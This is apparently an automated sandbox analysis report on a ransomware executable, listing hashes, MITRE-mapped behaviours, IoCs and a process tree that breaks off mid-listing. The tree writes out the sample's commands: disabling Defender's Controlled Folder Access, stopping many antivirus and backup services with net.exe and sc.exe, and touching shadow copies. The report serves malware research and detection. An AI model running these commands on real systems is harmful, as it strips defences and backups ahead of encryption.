cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
28s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
17-04-2023 21:02

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\Pictures\DismountLock.png.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\RenameSend.png.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\StartWatch.png.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

876 cmd.exe

pid	process
876	cmd.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Enumerates connected drives 3 TTPs 18 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

940 sc.exe
1484 sc.exe
540 sc.exe
1732 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
940	sc.exe
1484	sc.exe
540	sc.exe
1732	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
2680	vssadmin.exe
2704	vssadmin.exe
2696	vssadmin.exe
2688	vssadmin.exe
596	vssadmin.exe
1684	vssadmin.exe
2096	vssadmin.exe
1484	vssadmin.exe
2088	vssadmin.exe
2712	vssadmin.exe
2156	vssadmin.exe
2720	vssadmin.exe
2268	vssadmin.exe
2564	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2076 taskkill.exe
2064 taskkill.exe
2056 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

1968 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2284 PING.EXE

pid	process
2076	taskkill.exe
2064	taskkill.exe
2056	taskkill.exe

pid	process
1968	notepad.exe

pid	process
2284	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exevssvc.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeBackupPrivilege	2928	vssvc.exe
Token: SeRestorePrivilege	2928	vssvc.exe
Token: SeAuditPrivilege	2928	vssvc.exe
Token: SeDebugPrivilege	2064	taskkill.exe
Token: SeDebugPrivilege	2076	taskkill.exe
Token: SeDebugPrivilege	2056	taskkill.exe
Token: SeDebugPrivilege	564	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1596 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1596 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	pid	process	target process
PID 1596 wrote to memory of 564	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1596 wrote to memory of 564	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1596 wrote to memory of 564	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1596 wrote to memory of 564	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1596 wrote to memory of 592	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 592	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 592	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 592	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 596	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 1596 wrote to memory of 596	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 1596 wrote to memory of 596	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 1596 wrote to memory of 596	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	vssadmin.exe
PID 1596 wrote to memory of 876	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 876	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 876	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 876	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 692	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 692	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 692	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 692	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1596 wrote to memory of 992	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 992	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 992	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 992	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1368	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1368	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1368	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1368	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1324	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1324	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1324	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1324	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1236	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1236	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1236	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1236	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 764	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 764	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 764	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 764	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1772	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1772	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1772	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1772	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 972	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 972	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 972	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 972	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1932	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1932	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1932	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1932	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 612	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 612	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 612	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 612	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1976	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1976	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1976	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1976	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1708	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1708	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1708	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1596 wrote to memory of 1708	1596	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1596
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:564
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1700
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:596
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:1736
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:876
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1008
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:692
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:1540
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:992
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:2140
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:1368
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:2148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:1236
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:2656
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1324
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:1980
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:764
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:2200
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:1772
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:2184
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:612
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:2216
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1708
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:2192
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:1976
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:2312
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:1932
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2300
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:972
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2208
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:1628
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2320
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:1968
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2344
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:2664
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:1956
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2540
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:888
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:2532
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:548
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:2600
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:1112
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2640
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:1740
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:2444
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:880
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:2352
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:1244
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:2672
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:940
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1712
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:2608
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1484
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1608
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:2368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:1716
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:2548
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1056
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2360
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2412
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:1536
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:756
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2384
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:1692
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2632
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:1868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:2332
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1036
- - C:\Windows\SysWOW64\net1.exe
